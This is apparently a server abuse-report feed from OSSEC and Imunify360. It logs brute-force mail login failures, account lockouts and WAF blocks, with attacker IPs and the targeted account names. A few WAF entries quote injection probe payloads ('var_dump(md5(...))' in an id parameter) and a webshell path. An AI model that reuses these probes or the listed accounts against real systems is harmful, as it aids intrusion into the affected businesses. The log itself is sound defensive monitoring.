abuser: 109.72.235.193
country_id: 2017370
description:
2026-02-01 07:16:55 dovecot_login authenticator failed for H=(4c5e0c0de7c6.mldns.ru) [109.72.235.193]:37460: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:16:11 dovecot_login authenticator failed for H=(xBDoRihd) [158.94.208.175]:60499: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.167
country_id: 2750405
description:
2026-02-01  7:16:19 207439 [Warning] Aborted connection 207439 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.167' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:16:20 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54524: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.80
country_id: 1269750
description:
2026-02-01 07:16:57 dovecot_login authenticator failed for H=(nsg-corporate-80.229.187.122.airtel.in) [122.187.229.80]:45693: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.241.50
country_id: 1814991
description:
2026-02-01 07:17:09 dovecot_login authenticator failed for H=([218.21.241.50]) [218.21.241.50]:51696: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:17:10 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62028: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:17:25 dovecot_login authenticator failed for H=(MAJqk7cA) [158.94.208.215]:57121: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:17:02 dovecot_login authenticator failed for H=(mzDcZiRN8) [158.94.208.175]:61674: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:17:22 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41384: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.173.105.206
country_id: 1814991
description:
2026-02-01 07:17:24 dovecot_login authenticator failed for H=([60.173.105.206]) [60.173.105.206]:33774: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 221.165.172.38
country_id: 1835841
description:
Feb  1 07:17:38 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(221.165.172.38)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-01 07:17:40 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:48554: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:17:46 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.50.155
country_id: 1269750
description:
2026-02-01 07:17:09 dovecot_login authenticator failed for H=(abts-north-static-155.50.160.122.airtelbroadband.in) [122.160.50.155]:45221: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.45.210
country_id: 953987
description:
2026-02-01 07:18:21 dovecot_plain authenticator failed for H=(Johan-PC) [102.64.45.210]:64117: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 176.120.22.61
country_id: 2017370
description:
2026-02-01  7:18:47 207512 [Warning] Aborted connection 207512 to db: 'unconnected' user: 'unauthenticated' host: '176.120.22.61' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:18:13 dovecot_login authenticator failed for H=(s0Zgv0p2U) [158.94.208.215]:62250: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:18:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:18:21 dovecot_login authenticator failed for H=(zwLbsg) [158.94.208.175]:57568: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:18:27 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61971: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:19:29 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33344: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.59
country_id: 2017370
description:
2026-02-01 07:19:41 dovecot_login authenticator failed for H=([178.178.222.59]) [178.178.222.59]:33858: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:19:25 dovecot_login authenticator failed for H=(tVPLGn) [158.94.208.175]:58043: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:19:25 dovecot_login authenticator failed for H=(vSsoeMrg) [158.94.208.215]:64017: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.115.105
country_id: 1819730
domain: medinova.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/medinovacom/public_html/wp-includes||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:19:42 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.25.113.218
country_id: 953987
description:
2026-02-01 07:19:51 dovecot_login authenticator failed for H=([196.25.113.220]) [196.25.113.218]:53993: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:19:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-02-01 07:20:22 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:46842: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 07:20:03 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:55362: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:20:29 dovecot_login authenticator failed for H=(ppzs08Qc) [158.94.208.175]:62059: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 34.76.200.20
country_id: 2802361
description:
2026-02-01  7:20:32 207559 [Warning] Aborted connection 207559 to db: 'unconnected' user: 'unauthenticated' host: '34.76.200.20' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:20:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:20:13 dovecot_login authenticator failed for H=(6SvklD) [158.94.208.215]:57689: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.216.192.65
country_id: 630336
domain: www.kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kendek.com/product-detail.php?id=961277 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:21:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:21:25 dovecot_login authenticator failed for H=(1FGH30RT) [158.94.208.215]:53296: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:21:38 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56896: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.167
country_id: 2750405
description:
2026-02-01  7:21:52 207604 [Warning] Aborted connection 207604 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.167' (This connection closed normally without authentication)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:21:05 dovecot_login authenticator failed for H=(LyPhOa) [158.94.208.175]:62439: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:21:26 dovecot_login authenticator failed for H=(4LRBUAF) [158.94.208.175]:57647: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-01  7:21:37 207601 [Warning] Aborted connection 207601 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:22:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:22:13 dovecot_login authenticator failed for H=(2l4qSRou) [158.94.208.215]:52384: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.157
country_id: 2750405
description:
2026-02-01  7:22:13 207623 [Warning] Aborted connection 207623 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.157' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.51.5
country_id: 1668284
description:
2026-02-01 07:22:47 dovecot_login authenticator failed for H=111-70-51-5.emome-ip.hinet.net [111.70.51.5]:55930: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:22:05 dovecot_login authenticator failed for H=(M571vP) [158.94.208.175]:62293: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:23:12 dovecot_login authenticator failed for H=(3rHzcvKG) [158.94.208.175]:59082: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.104.50.190
country_id: 1562822
description:
2026-02-01 07:23:20 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [116.104.50.190]:50140: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:23:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.164.91.67
country_id: 1814991
description:
2026-02-01 07:23:23 dovecot_login authenticator failed for H=([39.164.91.67]) [39.164.91.67]:46848: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:23:25 dovecot_login authenticator failed for H=(xuBx46TY0I) [158.94.208.215]:57295: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.12.86.90
country_id: 1269750
description:
2026-02-01 07:23:51 dovecot_login authenticator failed for H=(mail.tataidc.com) [61.12.86.90]:53482: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.70
country_id: 1269750
description:
2026-02-01 07:23:43 dovecot_login authenticator failed for H=([182.66.214.70]) [182.66.214.70]:35688: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:23:44 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:45048: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.39.106
country_id: 1814991
description:
2026-02-01 07:24:02 dovecot_login authenticator failed for H=([220.178.39.106]) [220.178.39.106]:43777: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 103.157.49.1
country_id: 1643084
domain: smartcable.com.my
description:
IM360 WAF: Special shell symbol in request||MV:@var_dump(md5(304559761)||MVN:ARGS:id||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:24:14 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51846: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:24:19 dovecot_login authenticator failed for H=(ukb0dJ) [158.94.208.175]:59030: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.157
country_id: 2750405
description:
2026-02-01  7:24:27 207683 [Warning] Aborted connection 207683 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.157' (This connection closed normally without authentication)


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 103.157.49.1
country_id: 1643084
domain: smartcable.com.my
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:7.71||T:APACHE||SC:/home/smartcable/public_html/news-details.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 103.157.49.1
country_id: 1643084
domain: smartcable.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:'-var_dump(md5(297274298))-'||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.167
country_id: 2750405
description:
2026-02-01  7:24:15 207674 [Warning] Aborted connection 207674 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.167' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.25.227.40
country_id: 1562822
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/event-single.php?id=875939 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.239.48
country_id: 2287781
description:
2026-02-01 07:24:03 dovecot_plain authenticator failed for H=(T8FWR3M6R) [104.28.239.48]:56378: 535 Incorrect authentication data (set_id=rahimah.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:25:03 dovecot_login authenticator failed for H=(uYcSz1Q) [158.94.208.175]:52651: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:25:46 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52929: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:25:51 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50920: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:25:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54456: 535 Incorrect authentication data (set_id=testing@mams1.manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-01 07:26:15 H=([167.148.167.71]) [167.148.167.71]:50217 F=<Support@oxbold.com> rejected RCPT <steven@oxbold.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:26:19 dovecot_login authenticator failed for H=(7OJbl28) [158.94.208.175]:64043: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-02-01 07:26:18 dovecot_plain authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net (epulue) [71.62.34.216]:34842: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:27:02 dovecot_login authenticator failed for H=(RGPwxM9) [158.94.208.175]:56291: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.126.218.178
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=64781518079619 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.198.132.94
country_id: 6252001
description:
2026-02-01 07:27:21 dovecot_plain authenticator failed for H=(Copy-of-VM-2022) [124.198.132.94]:49300: 535 Incorrect authentication data (set_id=customerservice@medigo.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:27:56 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40546: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.23.72.254
country_id: 6252001
description:
2026-02-01 07:27:59 dovecot_login authenticator failed for H=([209.23.72.254]) [209.23.72.254]:50244: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:28:02 dovecot_login authenticator failed for H=(zvgoyU) [158.94.208.175]:61589: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.205.46.122
country_id: 2589581
description:
2026-02-01 07:28:59 dovecot_plain authenticator failed for H=(CHXEI8NX18) [197.205.46.122]:49891: 535 Incorrect authentication data (set_id=peiqin@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.81.229.181
country_id: 6252001
description:
2026-02-01 07:28:44 dovecot_login authenticator failed for H=(fabfibernet.com) [192.81.229.181]:47150: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.94.115.164
country_id: 1814991
description:
2026-02-01 07:28:56 dovecot_login authenticator failed for H=([218.94.115.164]) [218.94.115.164]:40800: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.199.126
country_id: 1269750
description:
2026-02-01 07:28:06 dovecot_login authenticator failed for H=([182.79.31.107]) [152.52.199.126]:35420: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.186.10.254
country_id: 6252001
description:
2026-02-01 07:28:37 dovecot_plain authenticator failed for H=254.10.186.34.bc.googleusercontent.com (a.us-west4-a.c.hazel-goal-484320-i6.internal.) [34.186.10.254]:50045: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.185.255.227
country_id: 1814991
description:
2026-02-01 07:29:39 dovecot_login authenticator failed for H=(Mail.chinaqiaoyu.com) [222.185.255.227]:42517: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:29:40 dovecot_login authenticator failed for H=(5d97iMxLQ4) [158.94.208.175]:62226: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.23.73.187
country_id: 6252001
description:
2026-02-01 07:29:57 dovecot_login authenticator failed for H=([209.23.73.187]) [209.23.73.187]:36908: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.205.46.122
country_id: 2589581
description:
2026-02-01 07:29:05 dovecot_login authenticator failed for H=(CHXEI8NX18) [197.205.46.122]:49891: 535 Incorrect authentication data (set_id=peiqin@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 07:29:06 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:53574: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:29:21 dovecot_login authenticator failed for H=(m9HdHh) [158.94.208.175]:54178: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 07:29:25 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:56775: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.223.41.90
country_id: 1835841
description:
2026-02-01 07:29:47 dovecot_login authenticator failed for H=([211.223.41.90]) [211.223.41.90]:42618: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.138.181
country_id: 1819730
description:
2026-02-01 07:30:10 dovecot_login authenticator failed for H=(m121-202-138-181.smartone.com) [121.202.138.181]:48168: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:30:12 dovecot_login authenticator failed for H=(PkK2m0kZd) [158.94.208.175]:56489: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:30:03 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57744: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.93.62.202
country_id: 2017370
description:
2026-02-01 07:30:08 dovecot_login authenticator failed for H=80-93-62-202.vps-ptr.clients.spaceweb.ru [80.93.62.202]:33696: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-01 07:30:17 dovecot_plain authenticator failed for H=(sablize) [154.144.243.93]:41910: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.198.132.94
country_id: 6252001
description:
2026-02-01 07:30:18 dovecot_login authenticator failed for H=(Copy-of-VM-2022) [124.198.132.94]:49303: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.46.148.53
country_id: 1605651
description:
2026-02-01 07:30:21 dovecot_login authenticator failed for H=119-46-148-53.static.asianet.co.th [119.46.148.53]:48873: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:31:08 dovecot_login authenticator failed for H=(fSgTU7fUjU) [158.94.208.175]:57965: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:31:15 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62541: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.157
country_id: 2750405
description:
2026-02-01  7:31:30 207964 [Warning] Aborted connection 207964 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.157' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-01 07:32:32 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:41870: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:32:11 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51154: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:32:01 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52057: 535 Incorrect authentication data


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.138.187
country_id: 6252001
description:
2026-02-01  7:33:00 208001 [Warning] Aborted connection 208001 to db: 'unconnected' user: 'unauthenticated' host: '167.94.138.187' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:32:10 dovecot_login authenticator failed for H=(XsaR8lq) [158.94.208.175]:59907: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:32:37 dovecot_login authenticator failed for H=(3hJ66l) [158.94.208.175]:55049: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 07:32:54 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:34491: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:32:29 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:33:06 dovecot_login authenticator failed for H=(HMqffXJHge) [158.94.208.175]:52887: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:33:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
